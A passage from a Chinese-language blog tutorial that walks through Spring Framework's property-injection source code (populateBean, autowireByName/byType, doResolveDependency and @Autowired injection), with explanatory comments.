    return (bridgeMethod.getReturnType().equals(bridgedMethod.getReturnType()) &&
            Arrays.equals(bridgeMethod.getParameterTypes(), bridgedMethod.getParameterTypes()));
}

最後,再來看看第三行代碼,核心就是這句 method.equals(ClassUtils.getMostSpecificMethod(method, clazz)。這句代碼的主要目的就是為了處理下面這種情況

@Component
public class D extends C {

	@Autowired
	@Override
	public void setDmzService(DmzService dmzService) {
		dmzService.init();
		this.dmzService = dmzService;
	}
}

// C不是Spring中的組件
public class C {
	DmzService dmzService;
    @Autowired
	public void setDmzService(DmzService dmzService) {
		this.dmzService = dmzService;
	}
}

這種情況下,在處理D中的@Autowired註解時,雖然我們要處理父類中的@Autowired註解,但是因為子類中的方法已經複寫了父類中的方法,所以此時應該要跳過父類中的這個被複寫的方法,這就是第三行代碼的作用。

小結

到這裏我們主要分析了applyMergedBeanDefinitionPostProcessors這段代碼的作用,它的執行時機是在創建對象之後,屬性注入之前。按照官方的定義來說,到這裏我們仍然可以使用這個方法來修改bd的定義,那麼相對於通過BeanFactoryPostProcessor的方式修改bd,applyMergedBeanDefinitionPostProcessors這個方法影響的範圍更小,BeanFactoryPostProcessor影響的是整個Bean的生命周期,而applyMergedBeanDefinitionPostProcessors只會影響屬性注入之後的生命周期。

其次,我們分析了Spring中內置的MergedBeanDefinitionPostProcessor,選取了其中兩個特殊的後置處理器進行分析,其中ApplicationListenerDetector主要處理內嵌的事件監聽器,而AutowiredAnnotationBeanPostProcessor主要用於處理@Autowired註解,實際上我們會發現,到這裏還只是完成了@Autowired註解的解析,還沒有真正開始進行注入,真正注入的邏輯在後面我們要分析的populateBean方法中,在這個方法中會使用解析好的注入元信息完成真正的屬性注入,那麼接下來我們就開始分析populateBean這個方法的源碼。

populateBean

循環依賴的代碼我們暫且跳過,後續出一篇專門文章解讀循環依賴,我們直接看看populateBean到底做了什麼。

protected void populateBean(String beanName, RootBeanDefinition mbd, @Nullable BeanWrapper bw) {

    // 處理空實例
    if (bw == null) {
        // 如果創建的對象為空,但是在XML中又配置了需要注入的屬性的話,那麼直接報錯
        if (mbd.hasPropertyValues()) {
            throw new BeanCreationException(
                mbd.getResourceDescription(), beanName, "Cannot apply property values to null instance");
        }
        else {
            // 空對象,不進行屬性注入
            return;
        }
    }

    // 滿足兩個條件,不是合成類 && 存在InstantiationAwareBeanPostProcessor
    // 其中InstantiationAwareBeanPostProcessor主要作用就是作為Bean的實例化前後的鈎子
    // 外加完成屬性注入,對於三個方法就是
    // postProcessBeforeInstantiation  創建對象前調用
    // postProcessAfterInstantiation   對象創建完成,@AutoWired註解解析后調用   
    // postProcessPropertyValues(已過期,被postProcessProperties替代) 進行屬性注入
    // 下面這段代碼的主要作用就是我們可以提供一個InstantiationAwareBeanPostProcessor
    // 提供的這個後置處理如果實現了postProcessAfterInstantiation方法並且返回false
    // 那麼可以跳過Spring默認的屬性注入,但是這也意味着我們要自己去實現屬性注入的邏輯
    // 所以一般情況下,我們也不會這麼去擴展
    if (!mbd.isSynthetic() && hasInstantiationAwareBeanPostProcessors()) {
        for (BeanPostProcessor bp : getBeanPostProcessors()) {
            if (bp instanceof InstantiationAwareBeanPostProcessor) {
                InstantiationAwareBeanPostProcessor ibp = (InstantiationAwareBeanPostProcessor) bp;
                if (!ibp.postProcessAfterInstantiation(bw.getWrappedInstance(), beanName)) {
                    return;
                }
            }
        }
    }
	
    // 這裏其實就是判斷XML是否提供了屬性相關配置
    PropertyValues pvs = (mbd.hasPropertyValues() ? mbd.getPropertyValues() : null);
	
    // 確認注入模型
    int resolvedAutowireMode = mbd.getResolvedAutowireMode();
    
    // 主要處理byName跟byType兩種注入模型,byConstructor這種注入模型在創建對象的時候已經處理過了
    // 這裏都是對自動注入進行處理,byName跟byType兩種注入模型均是依賴setter方法
    // byName,根據setter方法的名字來查找對應的依賴,例如setA,那麼就是去容器中查找名字為a的Bean
    // byType,根據setter方法的參數類型來查找對應的依賴,例如setXx(A a),就是去容器中查詢類型為A的bean
    if (resolvedAutowireMode == AUTOWIRE_BY_NAME || resolvedAutowireMode == AUTOWIRE_BY_TYPE) {
        MutablePropertyValues newPvs = new MutablePropertyValues(pvs);
        if (resolvedAutowireMode == AUTOWIRE_BY_NAME) {
            autowireByName(beanName, mbd, bw, newPvs);
        }
        if (resolvedAutowireMode == AUTOWIRE_BY_TYPE) {
            autowireByType(beanName, mbd, bw, newPvs);
        }
        // pvs是XML定義的屬性
        // 自動注入后,bean實際用到的屬性就應該要替換成自動注入后的屬性
        pvs = newPvs;
    }
	// 檢查是否有InstantiationAwareBeanPostProcessor
    // 前面說過了,這個後置處理器就是來完成屬性注入的
    boolean hasInstAwareBpps = hasInstantiationAwareBeanPostProcessors();
    
    //  是否需要依賴檢查,默認是不會進行依賴檢查的
    boolean needsDepCheck = (mbd.getDependencyCheck() != AbstractBeanDefinition.DEPENDENCY_CHECK_NONE);
	
    // 下面這段代碼有點麻煩了,因為涉及到版本問題
    // 其核心代碼就是調用了postProcessProperties完成了屬性注入
   
    PropertyDescriptor[] filteredPds = null;
    
    // 存在InstantiationAwareBeanPostProcessor,我們需要調用這類後置處理器的方法進行注入
		if (hasInstAwareBpps) {
			if (pvs == null) {
				pvs = mbd.getPropertyValues();
			}
			for (BeanPostProcessor bp : getBeanPostProcessors()) {
				if (bp instanceof InstantiationAwareBeanPostProcessor) {
					InstantiationAwareBeanPostProcessor ibp = (InstantiationAwareBeanPostProcessor) bp;
                    // 這句就是核心
					PropertyValues pvsToUse = ibp.postProcessProperties(pvs, bw.getWrappedInstance(), beanName);
					if (pvsToUse == null) {
						if (filteredPds == null) {
                            // 得到需要進行依賴檢查的屬性的集合
							filteredPds = filterPropertyDescriptorsForDependencyCheck(bw, mbd.allowCaching);
						}
                        //  這個方法已經過時了,放到這裏就是為了兼容老版本
						pvsToUse = ibp.postProcessPropertyValues(pvs, filteredPds, bw.getWrappedInstance(), beanName);
						if (pvsToUse == null) {
							return;
						}
					}
					pvs = pvsToUse;
				}
			}
		}
    // 需要進行依賴檢查
		if (needsDepCheck) {
			if (filteredPds == null) {
                // 得到需要進行依賴檢查的屬性的集合
				filteredPds = filterPropertyDescriptorsForDependencyCheck(bw, mbd.allowCaching);
			}
            // 對需要進行依賴檢查的屬性進行依賴檢查
			checkDependencies(beanName, mbd, filteredPds, pvs);
		}
    // 將XML中的配置屬性應用到Bean上
		if (pvs != null) {
			applyPropertyValues(beanName, mbd, bw, pvs);
		}
}

上面這段代碼主要可以拆分為三個部分

  1. 處理自動注入
  2. 處理屬性注入(主要指處理@Autowired註解),最重要
  3. 處理依賴檢查

處理自動注入

autowireByName

對應源碼如下:

protected void autowireByName(
    String beanName, AbstractBeanDefinition mbd, BeanWrapper bw, MutablePropertyValues pvs) {
    // 得到符合下麵條件的屬性名稱
    // 1.有setter方法
    // 2.需要進行依賴檢查
    // 3.不包含在XML配置中
    // 4.不是簡單類型(基本數據類型,枚舉,日期等)
    // 這裏可以看到XML配置優先級高於自動注入的優先級
    // 不進行依賴檢查的屬性,也不會進行屬性注入
    String[] propertyNames = unsatisfiedNonSimpleProperties(mbd, bw);
    for (String propertyName : propertyNames) {
        if (containsBean(propertyName)) {
            Object bean = getBean(propertyName);
            // 將自動注入的屬性添加到pvs中去
            pvs.add(propertyName, bean);
            // 註冊bean之間的依賴關係
            registerDependentBean(propertyName, beanName);
            // 忽略日誌
        }
        // 忽略日誌
    }
}

看到了嗎?代碼就是這麼的簡單,不是要通過名稱注入嗎?直接通過beanName調用getBean,完事兒

autowireByType

	protected void autowireByType(
			String beanName, AbstractBeanDefinition mbd, BeanWrapper bw, MutablePropertyValues pvs) {
		// 這個類型轉換器,主要是在處理@Value時需要使用
		TypeConverter converter = getCustomTypeConverter();
		if (converter == null) {
			converter = bw;
		}

		Set<String> autowiredBeanNames = new LinkedHashSet<>(4);
		// 得到符合下麵條件的屬性名稱
		// 1.有setter方法
		// 2.需要進行依賴檢查
		// 3.不包含在XML配置中
		// 4.不是簡單類型(基本數據類型,枚舉,日期等)
		// 這裏可以看到XML配置優先級高於自動注入的優先級
		String[] propertyNames = unsatisfiedNonSimpleProperties(mbd, bw);
		for (String propertyName : propertyNames) {
			try {
				PropertyDescriptor pd = bw.getPropertyDescriptor(propertyName);
				if (Object.class != pd.getPropertyType()) {
					// 這裏獲取到的就是setter方法的參數,因為我們需要按照類型進行注入嘛
					MethodParameter methodParam = BeanUtils.getWriteMethodParameter(pd);
					
                    // 如果是PriorityOrdered在進行類型匹配時不會去匹配factoryBean
					// 如果不是PriorityOrdered,那麼在查找對應類型的依賴的時候會會去匹factoryBean
				 	// 這就是Spring的一種設計理念,實現了PriorityOrdered接口的Bean被認為是一種
                    // 最高優先級的Bean,這一類的Bean在進行為了完成裝配而去檢查類型時,
                    // 不去檢查factoryBean
                    // 具體可以參考PriorityOrdered接口上的註釋文檔
					boolean eager = !(bw.getWrappedInstance() instanceof PriorityOrdered);
					// 將參數封裝成為一個依賴描述符
					// 依賴描述符會通過:依賴所在的類,字段名/方法名,依賴的具體類型等來描述這個依賴
					DependencyDescriptor desc = new AutowireByTypeDependencyDescriptor(methodParam, eager);
					// 解析依賴,這裡會處理@Value註解
                    // 另外,通過指定的類型到容器中查找對應的bean
					Object autowiredArgument = resolveDependency(desc, beanName, autowiredBeanNames, converter);
					if (autowiredArgument != null) {
						// 將查找出來的依賴屬性添加到pvs中,後面會將這個pvs應用到bean上
						pvs.add(propertyName, autowiredArgument);
					}
					// 註冊bean直接的依賴關係
					for (String autowiredBeanName : autowiredBeanNames) {
						registerDependentBean(autowiredBeanName, beanName);
						if (logger.isDebugEnabled()) {
							logger.debug("Autowiring by type from bean name '" + beanName + "' via property '" +
									propertyName + "' to bean named '" + autowiredBeanName + "'");
						}
					}
					autowiredBeanNames.clear();
				}
			}
			catch (BeansException ex) {
				throw new UnsatisfiedDependencyException(mbd.getResourceDescription(), beanName, propertyName, ex);
			}
		}
	}

resolveDependency

這個方法在Spring雜談 | 什麼是ObjectFactory?什麼是ObjectProvider?已經做過分析了,本文不再贅述。

可以看到,真正做事的方法是doResolveDependency

@Override
public Object resolveDependency(DependencyDescriptor descriptor, String requestingBeanName, Set<String> autowiredBeanNames, @Nullable TypeConverter typeConverter) throws BeansException {
	// descriptor代表當前需要注入的那個字段,或者方法的參數,也就是注入點
    // ParameterNameDiscovery用於解析方法參數名稱
    descriptor.initParameterNameDiscovery(getParameterNameDiscoverer());
    // 1. Optional<T>
    if (Optional.class == descriptor.getDependencyType()) {
        return createOptionalDependency(descriptor, requestingBeanName);
    // 2. ObjectFactory<T>、ObjectProvider<T>
    } else if (ObjectFactory.class == descriptor.getDependencyType() ||
             ObjectProvider.class == descriptor.getDependencyType()) {
        return new DependencyObjectProvider(descriptor, requestingBeanName);
    // 3. javax.inject.Provider<T>
    } else if (javaxInjectProviderClass == descriptor.getDependencyType()) {
        return new Jsr330Factory().createDependencyProvider(descriptor, requestingBeanName);
    } else {
        // 4. @Lazy
        Object result = getAutowireCandidateResolver().getLazyResolutionProxyIfNecessary(
            descriptor, requestingBeanName);
        // 5. 正常情況
        if (result == null) {
            result = doResolveDependency(descriptor, requestingBeanName, autowiredBeanNames, typeConverter);
        }
        return result;
    }
}
doResolveDependency
	public Object doResolveDependency(DependencyDescriptor descriptor, @Nullable String beanName,
			@Nullable Set<String> autowiredBeanNames, @Nullable TypeConverter typeConverter) throws BeansException {

		InjectionPoint previousInjectionPoint = ConstructorResolver.setCurrentInjectionPoint(descriptor);
		try {
			Object shortcut = descriptor.resolveShortcut(this);
			if (shortcut != null) {
				return shortcut;
			}
			// 依賴的具體類型
			Class<?> type = descriptor.getDependencyType();
			// 處理@Value註解,這裏得到的時候@Value中的值
			Object value = getAutowireCandidateResolver().getSuggestedValue(descriptor);
			if (value != null) {
				if (value instanceof String) {
					// 解析@Value中的佔位符
					String strVal = resolveEmbeddedValue((String) value);
					// 獲取到對應的bd
					BeanDefinition bd = (beanName != null && containsBean(beanName) ? getMergedBeanDefinition(beanName) : null);
					// 處理EL表達式
					value = evaluateBeanDefinitionString(strVal, bd);
				}
				// 通過解析el表達式可能還需要進行類型轉換
				TypeConverter converter = (typeConverter != null ? typeConverter : getTypeConverter());
				return (descriptor.getField() != null ?
						converter.convertIfNecessary(value, type, descriptor.getField()) :
						converter.convertIfNecessary(value, type, descriptor.getMethodParameter()));
			}
			
            // 對map,collection,數組類型的依賴進行處理
			// 最終會根據集合中的元素類型,調用findAutowireCandidates方法
			Object multipleBeans = resolveMultipleBeans(descriptor, beanName, autowiredBeanNames, typeConverter);
			if (multipleBeans != null) {
				return multipleBeans;
			}
			
            // 根據指定類型可能會找到多個bean
            // 這裏返回的既有可能是對象,也有可能是對象的類型
            // 這是因為到這裏還不能明確的確定當前bean到底依賴的是哪一個bean
            // 所以如果只會返回這個依賴的類型以及對應名稱,最後還需要調用getBean(beanName)
            // 去創建這個Bean
			Map<String, Object> matchingBeans = findAutowireCandidates(beanName, type, descriptor);
			// 一個都沒找到,直接拋出異常
			if (matchingBeans.isEmpty()) {
				if (isRequired(descriptor)) {
					raiseNoMatchingBeanFound(type, descriptor.getResolvableType(), descriptor);
				}
				return null;
			}

			String autowiredBeanName;
			Object instanceCandidate;
			// 通過類型找到了多個
			if (matchingBeans.size() > 1) {
				// 根據是否是主Bean
				// 是否是最高優先級的Bean
				// 是否是名稱匹配的Bean
				// 來確定具體的需要注入的Bean的名稱
                // 到這裏可以知道,Spring在查找依賴的時候遵循先類型再名稱的原則(沒有@Qualifier註解情況下)
				autowiredBeanName = determineAutowireCandidate(matchingBeans, descriptor);
				if (autowiredBeanName == null) {
					// 無法推斷出具體的名稱
					// 如果依賴是必須的,直接拋出異常
					// 如果依賴不是必須的,但是這個依賴類型不是集合或者數組,那麼也拋出異常
					if (isRequired(descriptor) || !indicatesMultipleBeans(type)) {
						return descriptor.resolveNotUnique(type, matchingBeans);
					}
					// 依賴不是必須的,但是依賴類型是集合或者數組,那麼返回一個null
					else {
						return null;
					}
				}
				instanceCandidate = matchingBeans.get(autowiredBeanName);
			}
			else {
				// 直接找到了一個對應的Bean
				Map.Entry<String, Object> entry = matchingBeans.entrySet().iterator().next();
				autowiredBeanName = entry.getKey();
				instanceCandidate = entry.getValue();
			}
			if (autowiredBeanNames != null) {
				autowiredBeanNames.add(autowiredBeanName);
			}
            
            // 前面已經說過了,這裏可能返回的是Bean的類型,所以需要進一步調用getBean
			if (instanceCandidate instanceof Class) {
				instanceCandidate = descriptor.resolveCandidate(autowiredBeanName, type, this);
			}
            
            // 做一些檢查,如果依賴是必須的,查找出來的依賴是一個null,那麼報錯
            // 查詢處理的依賴類型不符合,也報錯
			Object result = instanceCandidate;
			if (result instanceof NullBean) {
				if (isRequired(descriptor)) {
					raiseNoMatchingBeanFound(type, descriptor.getResolvableType(), descriptor);
				}
				result = null;
			}
			if (!ClassUtils.isAssignableValue(type, result)) {
				throw new BeanNotOfRequiredTypeException(autowiredBeanName, type, instanceCandidate.getClass());
			}
			return result;
		}
		finally {
			ConstructorResolver.setCurrentInjectionPoint(previousInjectionPoint);
		}
	}
findAutowireCandidates
protected Map<String, Object> findAutowireCandidates(
    @Nullable String beanName, Class<?> requiredType, DependencyDescriptor descriptor) {
	
    // 簡單來說,這裏就是到容器中查詢requiredType類型的所有bean的名稱的集合
    // 這裡會根據descriptor.isEager()來決定是否要匹配factoryBean類型的Bean
    // 如果isEager()為true,那麼會匹配factoryBean,反之,不會
    String[] candidateNames = BeanFactoryUtils.beanNamesForTypeIncludingAncestors(
        this, requiredType, true, descriptor.isEager());
   
    Map<String, Object> result = new LinkedHashMap<>(candidateNames.length);
   
    // 第一步會到resolvableDependencies這個集合中查詢是否已經存在了解析好的依賴
    // 像我們之所以能夠直接在Bean中注入applicationContext對象
    // 就是因為Spring之前就將這個對象放入了resolvableDependencies集合中
    for (Class<?> autowiringType : this.resolvableDependencies.keySet()) {
        if (autowiringType.isAssignableFrom(requiredType)) {
            Object autowiringValue = this.resolvableDependencies.get(autowiringType);
            
            // 如果resolvableDependencies放入的是一個ObjectFactory類型的依賴
            // 那麼在這裡會生成一個代理對象
            // 例如,我們可以在controller中直接注入request對象
            // 就是因為,容器啟動時就在resolvableDependencies放入了一個鍵值對
            // 其中key為:Request.class,value為:ObjectFactory
            // 在實際注入時放入的是一個代理對象
            autowiringValue = AutowireUtils.resolveAutowiringValue(autowiringValue, requiredType);
            if (requiredType.isInstance(autowiringValue)) {
                // 這裏放入的key不是Bean的名稱
                // value是實際依賴的對象
                result.put(ObjectUtils.identityToString(autowiringValue), autowiringValue);
                break;
            }
        }
    }
    
    // 接下來開始對之前查找出來的類型匹配的所有BeanName進行處理
    for (String candidate : candidateNames) {
        // 不是自引用,什麼是自引用?
        // 1.候選的Bean的名稱跟需要進行注入的Bean名稱相同,意味着,自己注入自己
        // 2.或者候選的Bean對應的factoryBean的名稱跟需要注入的Bean名稱相同,
        // 也就是說A依賴了B但是B的創建又需要依賴A
        // 要符合注入的條件
        if (!isSelfReference(beanName, candidate) && isAutowireCandidate(candidate, descriptor)) {
            // 調用addCandidateEntry,加入到返回集合中,後文有對這個方法的分析
            addCandidateEntry(result, candidate, descriptor, requiredType);
        }
    }
    
    // 排除自引用的情況下,沒有找到一個合適的依賴
    if (result.isEmpty() && !indicatesMultipleBeans(requiredType)) {
        // 1.先走fallback邏輯,Spring提供的一個擴展吧,感覺沒什麼卵用
        // 默認情況下fallback的依賴描述符就是自身
        DependencyDescriptor fallbackDescriptor = descriptor.forFallbackMatch();
        for (String candidate : candidateNames) {
            if (!isSelfReference(beanName, candidate) && isAutowireCandidate(candidate, fallbackDescriptor)) {
                addCandidateEntry(result, candidate, descriptor, requiredType);
            }
        }
        // fallback還是失敗
        if (result.isEmpty()) {
            // 處理自引用
            // 從這裏可以看出,自引用的優先級是很低的,只有在容器中真正的只有這個Bean能作為
            // 候選者的時候,才會去處理,否則自引用是被排除掉的
            for (String candidate : candidateNames) {
                if (isSelfReference(beanName, candidate) &&
                    // 不是一個集合或者
                    // 是一個集合,但是beanName跟candidate的factoryBeanName相同
                    (!(descriptor instanceof MultiElementDescriptor) || !beanName.equals(candidate)) &&
                    isAutowireCandidate(candidate, fallbackDescriptor)) {
                    addCandidateEntry(result, candidate, descriptor, requiredType);
                }
            }
        }
    }
    return result;
}


// candidates:就是findAutowireCandidates方法要返回的候選集合
// candidateName:當前的這個候選Bean的名稱
// descriptor:依賴描述符
// requiredType:依賴的類型
private void addCandidateEntry(Map<String, Object> candidates, String candidateName,
                               DependencyDescriptor descriptor, Class<?> requiredType) {
	
    // 如果依賴是一個集合,或者容器中已經包含這個單例了
    // 那麼直接調用getBean方法創建或者獲取這個Bean
    if (descriptor instanceof MultiElementDescriptor || containsSingleton(candidateName)) {
        Object beanInstance = descriptor.resolveCandidate(candidateName, requiredType, this);
        candidates.put(candidateName, (beanInstance instanceof NullBean ? null : beanInstance));
    }
    // 如果依賴的類型不是一個集合,這個時候還不能確定到底要使用哪個依賴,
    // 所以不能將這些Bean創建出來,所以這個時候,放入candidates是Bean的名稱以及類型
    else {
        candidates.put(candidateName, getType(candidateName));
    }
}

處理屬性注入(@Autowired)

postProcessProperties

// 在applyMergedBeanDefinitionPostProcessors方法執行的時候,
// 已經解析過了@Autowired註解(buildAutowiringMetadata方法)
public PropertyValues postProcessProperties(PropertyValues pvs, Object bean, String beanName) {
    // 這裏獲取到的是解析過的緩存好的注入元數據
    InjectionMetadata metadata = findAutowiringMetadata(beanName, bean.getClass(), pvs);
    try {
        // 直接調用inject方法
        // 存在兩種InjectionMetadata
        // 1.AutowiredFieldElement
        // 2.AutowiredMethodElement
        // 分別對應字段的屬性注入以及方法的屬性注入
        metadata.inject(bean, beanName, pvs);
    }
    catch (BeanCreationException ex) {
        throw ex;
    }
    catch (Throwable ex) {
        throw new BeanCreationException(beanName, "Injection of autowired dependencies failed", ex);
    }
    return pvs;
}
字段的屬性注入
// 最終反射調用filed.set方法
protected void inject(Object bean, @Nullable String beanName, @Nullable PropertyValues pvs) throws Throwable {
    Field field = (Field) this.member;
    Object value;
    if (this.cached) {
        // 第一次注入的時候肯定沒有緩存
        // 這裏也是對原型情況的處理
        value = resolvedCachedArgument(beanName, this.cachedFieldValue);
    } else {
        DependencyDescriptor desc = new DependencyDescriptor(field, this.required);
        desc.setContainingClass(bean.getClass());
        Set<String> autowiredBeanNames = new LinkedHashSet<>(1);
        Assert.state(beanFactory != null, "No BeanFactory available");
        TypeConverter typeConverter = beanFactory.getTypeConverter();
        try {
            // 這裏可以看到,對@Autowired註解在字段上的處理
            // 跟byType下自動注入的處理是一樣的,就是調用resolveDependency方法
            value = beanFactory.resolveDependency(desc, beanName, autowiredBeanNames, typeConverter);
        } catch (BeansException ex) {
            throw new UnsatisfiedDependencyException(null, beanName, new InjectionPoint(field), ex);
        }
        synchronized (this) {
            // 沒有緩存過的話,這裏需要進行緩存
            if (!this.cached) {
                if (value != null || this.required) {
                    this.cachedFieldValue = desc;
                    // 註冊Bean之間的依賴關係
                    registerDependentBeans(beanName, autowiredBeanNames);
                    // 如果這個類型的依賴只存在一個的話,我們就能確定這個Bean的名稱
                    // 那麼直接將這個名稱緩存到ShortcutDependencyDescriptor中
                    // 第二次進行注入的時候就可以直接調用getBean(beanName)得到這個依賴了
                    // 實際上正常也只有一個,多個就報錯了
                    // 另外這裡會過濾掉@Vlaue得到的依賴
                    if (autowiredBeanNames.size() == 1) {
                        String autowiredBeanName = autowiredBeanNames.iterator().next();
                        // 通過resolvableDependencies這個集合找的依賴不滿足containsBean條件
                        // 不會進行緩存,因為緩存實際還是要調用getBean,而resolvableDependencies
                        // 是沒法通過getBean獲取的
                        if (beanFactory.containsBean(autowiredBeanName) &&
                            beanFactory.isTypeMatch(autowiredBeanName, field.getType())) {							 // 依賴描述符封裝成ShortcutDependencyDescriptor進行緩存
                            this.cachedFieldValue = new ShortcutDependencyDescriptor(
                                desc, autowiredBeanName, field.getType());
                        }
                    }
                } else {
                    this.cachedFieldValue = null;
                }
                this.cached = true;
            }
        }
    }
    if (value != null) {
        // 反射調用Field.set方法
        ReflectionUtils.makeAccessible(field);
        field.set(bean, value);
    }
}
方法的屬性注入
// 代碼看着很長,實際上邏輯跟字段注入基本一樣
protected void inject(Object bean, @Nullable String beanName, @Nullable PropertyValues pvs) throws Throwable {
    // 判斷XML中是否配置了這個屬性,如果配置了直接跳過
    // 換而言之,XML配置的屬性優先級高於@Autowired註解
    if (checkPropertySkipping(pvs)) {
        return;
    }
    Method method = (Method) this.member;
    Object[] arguments;
    if (this.cached) {
        arguments = resolveCachedArguments(beanName);
    } else {
        // 通過方法參數類型構造依賴描述符
        // 邏輯基本一樣的,最終也是調用beanFactory.resolveDependency方法
        Class<?>[] paramTypes = method.getParameterTypes();
        arguments = new Object[paramTypes.length];
        DependencyDescriptor[] descriptors = new DependencyDescriptor[paramTypes.length];
        Set<String> autowiredBeans = new LinkedHashSet<>(paramTypes.length);
        Assert.state(beanFactory != null, "No BeanFactory available");
        TypeConverter typeConverter = beanFactory.getTypeConverter();
        
        // 遍歷方法的每個參數
        for (int i = 0; i < arguments.length; i++) {
            MethodParameter methodParam = new MethodParameter(method, i);
            DependencyDescriptor currDesc = new DependencyDescriptor(methodParam, this.required);
            currDesc.setContainingClass(bean.getClass());
            descriptors[i] = currDesc;
            try {
                // 還是要調用這個方法
                Object arg = beanFactory.resolveDependency(currDesc, beanName, autowiredBeans, typeConverter);
                if (arg == null && !this.required) {
                    arguments = null;
                    break;
                }
                arguments[i] = arg;
            } catch (BeansException ex) {
                throw new UnsatisfiedDependencyException(null, beanName, new InjectionPoint(methodParam), ex);
            }
        }
        synchronized (this) {
            if (!this.cached) {
                if (arguments != null) {
                    Object[] cachedMethodArguments = new Object[paramTypes.length];
                    System.arraycopy(descriptors, 0, cachedMethodArguments, 0, arguments.length);  
                    // 註冊bean之間的依賴關係
                    registerDependentBeans(beanName, autowiredBeans);
                    
                    // 跟字段注入差不多,存在@Value註解,不進行緩存
                    if (autowiredBeans.size() == paramTypes.length) {
                        Iterator<String> it = autowiredBeans.iterator();
                        for (int i = 0; i < paramTypes.length; i++) {
                            String autowiredBeanName = it.next();
                            if (beanFactory.containsBean(autowiredBeanName) &&
                                beanFactory.isTypeMatch(autowiredBeanName, paramTypes[i])) {
                                cachedMethodArguments[i] = new ShortcutDependencyDescriptor(
                                    descriptors[i], autowiredBeanName, paramTypes[i]);
                            }
                        }
                    }
                    this.cachedMethodArguments = cachedMethodArguments;
                } else {
                    this.cachedMethodArguments = null;
                }
                this.cached = true;
            }
        }
    }
    if (arguments != null) {
        try {
            // 反射調用方法
            // 像我們的setter方法就是在這裏調用的
            ReflectionUtils.makeAccessible(method);
            method.invoke(bean, arguments);
        } catch (InvocationTargetException ex) {
            throw ex.getTargetException();
        }
    }
}

處理依賴檢查

protected void checkDependencies(
    String beanName, AbstractBeanDefinition mbd, PropertyDescriptor[] pds, PropertyValues pvs)
    throws UnsatisfiedDependencyException {

    int dependencyCheck = mbd.getDependencyCheck();
    for (PropertyDescriptor pd : pds) {
        
        // 有set方法但是在pvs中沒有對應屬性,那麼需要判斷這個屬性是否要進行依賴檢查
        // 如果需要進行依賴檢查的話,就需要報錯了
        // pvs中保存的是自動注入以及XML配置的屬性
        if (pd.getWriteMethod() != null && !pvs.contains(pd.getName())) {
           
            // 是否是基本屬性,枚舉/日期等也包括在內
            boolean isSimple = BeanUtils.isSimpleProperty(pd.getPropertyType());
           	
            // 如果DEPENDENCY_CHECK_ALL,對任意屬性都開啟了依賴檢查,報錯
            // DEPENDENCY_CHECK_SIMPLE,對基本屬性開啟了依賴檢查並且是基本屬性,報錯
            // DEPENDENCY_CHECK_OBJECTS,對非基本屬性開啟了依賴檢查並且不是非基本屬性,報錯
            boolean unsatisfied = (dependencyCheck == AbstractBeanDefinition.DEPENDENCY_CHECK_ALL) ||
                (isSimple && dependencyCheck == AbstractBeanDefinition.DEPENDENCY_CHECK_SIMPLE) ||
                (!isSimple && dependencyCheck == AbstractBeanDefinition.DEPENDENCY_CHECK_OBJECTS);
            
            if (unsatisfied) {
                throw new UnsatisfiedDependencyException(mbd.getResourceDescription(), beanName, pd.getName(),
                                                         "Set this property value or disable dependency checking for this bean.");
            }
        }
    }
}

將解析出來的屬性應用到Bean上

到這一步解析出來的屬性主要有三個來源

  1. XML中配置的
  2. 通過byName的方式自動注入的
  3. 通過byType的方式自動注入的

但是在應用到Bean前還需要做一步類型轉換,這一部分代碼實際上跟我們之前在Spring官網閱讀(十四)Spring中的BeanWrapper及類型轉換介紹的差不多,而且因為XML跟自動注入的方式都不常見,正常@Autowired的方式進行注入的話,這個方法沒有什麼用,所以本文就不再贅述。

總結

本文我們主要分析了Spring在屬性注入過程中的相關代碼,整個屬性注入可以分為兩個部分

  1. @Autowired/@Vale的方式完成屬性注入
  2. 自動注入(byType/byName

完成屬性注入的核心方法其實就是doResolveDependencydoResolveDependency這個方法的邏輯簡單來說分為兩步:

  1. 通過依賴類型查詢到所有的類型匹配的bean的名稱
  2. 如果找到了多個的話,再根據依賴的名稱匹配對應的Bean的名稱
  3. 調用getBean得到這個需要被注入的Bean
  4. 最後反射調用字段的set方法完成屬性注入

從上面也可以知道,其實整個屬性注入的邏輯是很簡單的。

如果本文對你有幫助的話,記得點個贊吧!也歡迎關注我的公眾號,微信搜索:程序員DMZ,或者掃描下方二維碼,跟着我一起認認真真學Java,踏踏實實做一個coder。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心